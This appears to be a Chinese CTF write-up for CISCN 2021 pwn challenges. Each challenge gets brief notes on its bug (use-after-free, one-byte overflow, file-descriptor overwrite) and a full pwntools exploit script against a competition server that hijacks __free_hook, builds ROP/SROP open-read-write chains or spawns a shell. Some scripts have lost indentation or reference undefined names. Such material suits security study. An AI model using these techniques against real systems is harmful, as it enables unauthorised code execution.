CISCN2021线上赛_pwn

太菜了,后面学一学llvm

pwny

第一步需要把文件描述符改成0:

先通过write部分,读一个随机值到文件描述符处,此时的文件描述符已经被更改为一个随机值,再次通过write向文件描述符处读数据就会失败,从而保存栈上的默认值0到文件描述符处,这样read就可以读取输入了,也就是说实现了任意读写,泄露libc,栈地址,然后改返回地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
context.log_level='debug'
context.arch='amd64'
local=0
if local:
sh=process('./pwny')
else:
sh=remote("124.71.235.182",25507)
libc=ELF('./libc-2.27.so')
sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
leak = lambda name,addr :log.success(name+":"+hex(addr))

sla("Your choice: ","2")
sla("Index: ",str(0x100))

sla("Your choice: ","2")
sla("Index: ",str(0x100))

sla("Your choice: ","1")
sa("Index: ","\xfc"+"\xff"*7)


ru("Result: ")
stderr=int(rc(12),16)
libc_base=stderr-libc.sym['_IO_2_1_stderr_']
leak("libc_base",libc_base)
environ=libc_base+libc.sym['environ']

sla("Your choice: ","1")
sa("Index: ","\xf5"+"\xff"*7)
ru("Result: ")
addr=int(rc(12),16)
base=addr-0x202008
leak('addr',addr)
leak("base",base)

off=environ-(base+0x202060)
off=off//8

sla("Your choice: ","1")
sa("Index: ",p64(off))
ru("Result: ")
addr=int(rc(12),16)
leak('addr',addr)
stack_addr=addr-0x120
leak("stack_addr",stack_addr)

off=stack_addr-(base+0x202060)
off=off//8

one_gadget=[0x4f3d5,0x4f432,0x10a41c]
one=libc_base+one_gadget[2]
sla("Your choice: ","2")
sla("Index: ",str(off))
sd(p64(one))

ti()

lonelywolf

只有一个chunk的uaf,需要注意的是这个版本的glibc2.27的tcache有key值,可以改size大小整出来unsorted bin,当然也可以跟我这样改tcache struct,话说这题做得不太好导致我的下一题完成的比较艰难了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *
context.log_level='debug'
context.arch='amd64'
local=0
if local:
sh=process('./lonelywolf')
else:
sh=remote("124.71.235.182",25450)
libc=ELF('./libc-2.27.so')
sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
leak = lambda name,addr :log.success(name+":"+hex(addr))

def add(size,idx=0):
sla("Your choice: ","1")
sla("Index: ",str(idx))
sla("Size: ",str(size))
def show(idx=0):
sla("Your choice: ","3")
sla("Index: ",str(idx))
def delete(idx=0):
sla("Your choice: ","4")
sla("Index: ",str(idx))
def edit(content,idx=0):
sla("Your choice: ","2")
sla("Index: ",str(idx))
sla("Content: ",content)

sleep(1)
add(0x8)
delete()
edit('a'*8)
show()
ru("a"*8)
heap_addr=u64(rc(6)[-6:].ljust(8,"\x00"))
leak("heap_addr",heap_addr)
heap_base=heap_addr-0x10
leak("heap_base",heap_base)

add(0x58)
delete()
add(0x78)
delete()
add(0x28)
delete()
add(0x58)
delete()
edit(p64(heap_base+0x10))
add(0x58)
add(0x58)
edit("\x01\x00\x00\x00\x08\x08\x08\x0a")

add(0x78)
delete()

sla("Your choice: ","0"*0x420)
show()
libc_base=u64(ru("\x7f")[-6:].ljust(8,"\x00"))-0x60-0x70-0x3ebc40
leak("libc_base",libc_base)
free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']
leak("system",system)

add(0x40)
delete()
edit(p64(free_hook-8))

add(0x40)
add(0x40)
edit("/bin/sh\x00"+p64(system))
delete()
ti()

silverwolf

在上一题的基础上加了沙箱,我用的setcontext,接着上一题改的,导致我的写入堆块大小有限,所以一些细节需要精心构造一下,上一题方法太别扭导致这一题做的有些吃力了。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
from pwn import *
context.log_level='debug'
context.arch='amd64'
local=0
if local:
sh=process('./silverwolf')
else:
sh=remote("124.71.235.182",25487)
libc=ELF('./libc-2.27.so')
sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
leak = lambda name,addr :log.success(name+":"+hex(addr))

def add(size,idx=0):
sla("Your choice: ","1")
sla("Index: ",str(idx))
sla("Size: ",str(size))
def show(idx=0):
sla("Your choice: ","3")
sla("Index: ",str(idx))
def delete(idx=0):
sla("Your choice: ","4")
sla("Index: ",str(idx))
def edit(content,idx=0):
sla("Your choice: ","2")
sla("Index: ",str(idx))
sla("Content: ",content)

sleep(1)
add(0x8)
delete()
edit('a'*8)
show()
ru("a"*8)
heap_addr=u64(rc(6)[-6:].ljust(8,"\x00"))
leak("heap_addr",heap_addr)
heap_base=heap_addr-0x10
leak("heap_base",heap_base)

add(0x68)
delete()
add(0x78)
delete()
add(0x28)
delete()
add(0x68)
delete()
edit(p64(heap_base+0x10))
add(0x68)
add(0x68)
edit("\x01\x00\x00\x00\x00\x00\x08\x00"+p64(0)*12)

add(0x78)
delete()

sla("Your choice: ","0"*0x420)

add(0x18)
add(0x18)
add(0x18)
add(0x18)
add(0x18)
show()
libc_base=u64(ru("\x7f")[-6:].ljust(8,"\x00"))-0x60-0x3ebc40
leak("libc_base",libc_base)
free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']
leak("system",system)
setcontext=libc_base+libc.sym['setcontext']
mprotect=libc_base+libc.sym['mprotect']

open_=libc_base+libc.sym['open64']
read=libc_base+libc.sym['read']
write=libc_base+libc.sym['write']
poprdi=libc_base+0x00000000000215bf
poprdx_rsi=libc_base+0x0000000000130569
ret=libc_base+0x00000000000008aa
poprax=libc_base+0x0000000000043ae8
#clear
add(0x48)
add(0x48)
add(0x48)
add(0x48)
add(0x48)
add(0x18)
add(0x18)
add(0x18)
add(0x18)
add(0x18)
add(0x28)

add(0x18)
delete()
add(0x28)

add(0x48)#0x50
edit(asm(sc2))
pop4=libc_base+0x00000000000215b8
syscall_ret=libc_base+0x3f327
add(0x48)
payload=p64(heap_base+0x19f0)+p64(ret)
payload+=p64(poprdi)+p64(free_hook-0x8)
payload+=p64(poprdx_rsi)+p64(0)+p64(0)
payload+=p64(pop4)
payload+=p64(heap_base+0x1990)
edit(payload)

add(0x48)
payload=p64(heap_base+0x1990)*2
payload+=p64(poprax)+p64(2)
payload+=p64(syscall_ret)
payload+=p64(poprdi)+p64(3)
payload+=p64(pop4)
edit(payload)

add(0x48)
payload=p64(poprdi)+p64(3)#这里没注意,记得rdi好像已经是3了
payload+=p64(poprdx_rsi)+p64(0x40)+p64(heap_base+0x1000)
payload+=p64(read)+p64(ret)
payload+=p64(pop4)
edit(payload)

add(0x48)
payload=p64(poprdi)+p64(1)
payload+=p64(poprdx_rsi)+p64(0x40)+p64(heap_base+0x1000)
payload+=p64(poprdi)+p64(1)
payload+=p64(pop4)
edit(payload)

add(0x48)
payload=p64(poprdi)+p64(1)
payload+=p64(poprax)+p64(1)
payload+=p64(syscall_ret)
edit(payload)

add(0x58)
delete()
edit(p64(free_hook-8))

add(0x58)
add(0x58)
edit("./flag\x00\x00"+p64(setcontext+53))

add(0x18)
delete()
ti()

channel

漏洞点在于unregister里面,只要free链表非头部的元素,就是一个uaf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
context.log_level='debug'
context.arch='amd64'
local=0
debug=0
if local:
if debug:
sh=process(['./qemu-aarch64-static','-g','12345','./pwn'])
else:
sh=process(['./qemu-aarch64-static','./pwn'])
else:
sh=remote("124.71.235.182",25418)
libc=ELF('./libc.so.6')
sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
leak = lambda name,addr :log.success(name+":"+hex(addr))

def add(key):
sla("> ","1")
sla("key> ",str(key))
def delete(key):
sla("> ","2")
sla("key> ",str(key))
def write(key,length,content):
sla("> ","4")
sla("key> ",str(key))
sla("len> ",str(length))
sa("content> ",content)
def read(key):
sla("> ","3")
sla("key> ",str(key))

# sleep(1)

for i in range(13):
add(i)
for i in range(8):
delete(12-i)

write(0,0xf0,'a'*8)
read(0)
ru("a"*8)
addr=u64(rc(3).ljust(8,"\x00"))+0x4000000000
libc_base=addr-0x16dbd0
leak("libc_base",libc_base)
free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']
leak("free_hook",free_hook)
leak("system",system)
leak("addr",addr)
delete(2)
delete(3)

write(0,0x110,'a'*8)
delete(3)

write(0,0xd0,p64(free_hook))
write(4,0xc0,p64(free_hook))
payload="/bin/sh\x00".ljust(0x100,"\x00")
add(payload)

add(p64(system))
sla("> ","2")
sa("key> ",payload)
ti()

game

漏洞点在于最后四个函数写入数据的时候存在越界,可以实现单个字节溢出的效果,这样就类似于off-by-one,溢出改掉size,最后造成堆块重叠

程序还开了沙箱,远程堆地址试了一下跟本地有区别,改了一会儿也没成功,但libc基地址肯定没错,所以将orw写到libc上即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
from pwn import *
context.log_level='debug'
context.arch='amd64'
local=0
if local:
sh=process('./game')
else:
sh=remote("124.71.235.182",25505)
libc=ELF('./libc-2.27.so')
sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
leak = lambda name,addr :log.success(name+":"+hex(addr))

def init(size1,size2):
payload="op:\x31\x0a"
payload+="l:"
payload+=size1
payload+="\x0a"
payload+="w:"
payload+=size2
payload+="\x0a"
payload+="\x0d\x0d\x0a"
sa("cmd> ",payload)
def add(idx,size,content):
payload="op:\x32\x0a"
payload+="id:"
payload+=idx
payload+="\x0a"
payload+="s:"
payload+=size
payload+="\x0a"
payload+="\x0d\x0d\x0a"
sa("cmd> ",payload)
sa("desc> ",content)
def show():
payload="op:\x34\x0a"
payload+="\x0a"
payload+="\x0d\x0d\x0a"
sa("cmd> ",payload)
def change(op,idx):
payload="op:"
payload+=op
payload+="\x0a"
payload+="id:"
payload+=idx
payload+="\x0a"
payload+="\x0d\x0d\x0a"
sa("cmd> ",payload)
def delete(idx):
payload="op:\x33\x0a"
payload+="id:"
payload+=idx
payload+="\x0a"
payload+="\x0d\x0d\x0a"
sa("cmd> ",payload)

init("\x31\x36","\x31\x36")#16*16
add("\x32\x34\x31","\x32\x34\x31",'a')#0x100
add("\x32","\x32\x34\x31",'a'*0xb0+p64(0)+p64(0x41))#0x100

add("\x33","\x34\x38\x38",'a')#0x1f1
add("\x34","\x34\x38\x38",'a')
add("\x35","\x34\x38\x38",'a')
add("\x36","\x34\x38\x38",'a')
add("\x37","\x34\x38\x38",'a')
add("\x38","\x34\x38\x38",'a')
add("\x39","\x34\x38\x38",'a')

delete("\x33")
delete("\x34")
delete("\x35")
delete("\x36")
delete("\x37")
delete("\x38")
delete("\x39")

show()
ru("241: (")
number1 = int(rc(1),10)
ru(",")
number2 = int(rc(1),10)
print number1
print number2

n = 16-number1
for i in range(n):
change("\x36","\x32\x34\x31")


for i in range(16-number2):
change("\x38","\x32\x34\x31")
change("\x38","\x32\x34\x31")#0x100
change("\x38","\x32\x34\x31")
change("\x38","\x32\x34\x31")
change("\x38","\x32\x34\x31")
change("\x38","\x32\x34\x31")
change("\x38","\x32\x34\x31")
change("\x38","\x32\x34\x31")

delete("\x32")
delete("\x32\x34\x31")

add("\x39","\x34\x38",'a')
show()
addr=u64(ru("\x7f")[-6:].ljust(8,"\x00"))
leak("addr",addr)
libc_base=addr-0x3ebe61
leak("libc_base",libc_base)

setcontext=libc_base+libc.sym['setcontext']
mprotect=libc_base+libc.sym['mprotect']
free_hook=libc_base+libc.sym['__free_hook']

add("\x33","\x31\x36\x31",'a')
add("\x34","\x33\x32",'a')
add("\x35","\x31\x32\x38",'a'*0x40+p64(free_hook-8))
add("\x36","\x32\x34\x31",'a')

add("\x31\x31","\x32\x30",'c')
show()
ru("11: ")
ru(") ")
addr=u64(rc(6).ljust(8,"\x00"))
leak("addr",addr)
heap_base=addr-0x2163
leak("heap_base",heap_base)

delete("\x33")
delete("\x34")

add("\x37\x37\x37","\x39\x36",'a')

heap_addr = free_hook & 0xfffffffffffff000
syscall_ret=libc_base+0x3f235
poprdi=libc_base+0x000000000002155f
poprax=libc_base+0x0000000000043a78
poprdx_rsi=libc_base+0x0000000000130889

frame = SigreturnFrame()
frame.rsp = free_hook + 8 # ret
frame.rip = mprotect
frame.rdi = free_hook & 0xfffffffffffff000
frame.rsi = 0x1000
frame.rdx = 4 | 2 | 1
delete("\x31\x31")
add("\x38\x38","\x32\x39\x36",str(frame))

pay=p64(poprdi)+p64(free_hook-0x8)
pay+=p64(poprdx_rsi)+p64(0)*2
pay+=p64(poprax)+p64(2)
pay+=p64(syscall_ret)

pay+=p64(poprdi)+p64(3)
pay+=p64(poprdx_rsi)+p64(0x50)+p64(free_hook-0x50)
pay+=p64(poprax)+p64(0)
pay+=p64(syscall_ret)

pay+=p64(poprdi)+p64(1)
pay+=p64(poprdx_rsi)+p64(0x50)+p64(free_hook-0x50)
pay+=p64(poprax)+p64(1)
pay+=p64(syscall_ret)

payload="./flag\x00\x00"+p64(setcontext+53)
payload+=pay
add("\x39\x39","\x32\x34\x31",payload)

delete("\x38\x38")
ti()
0%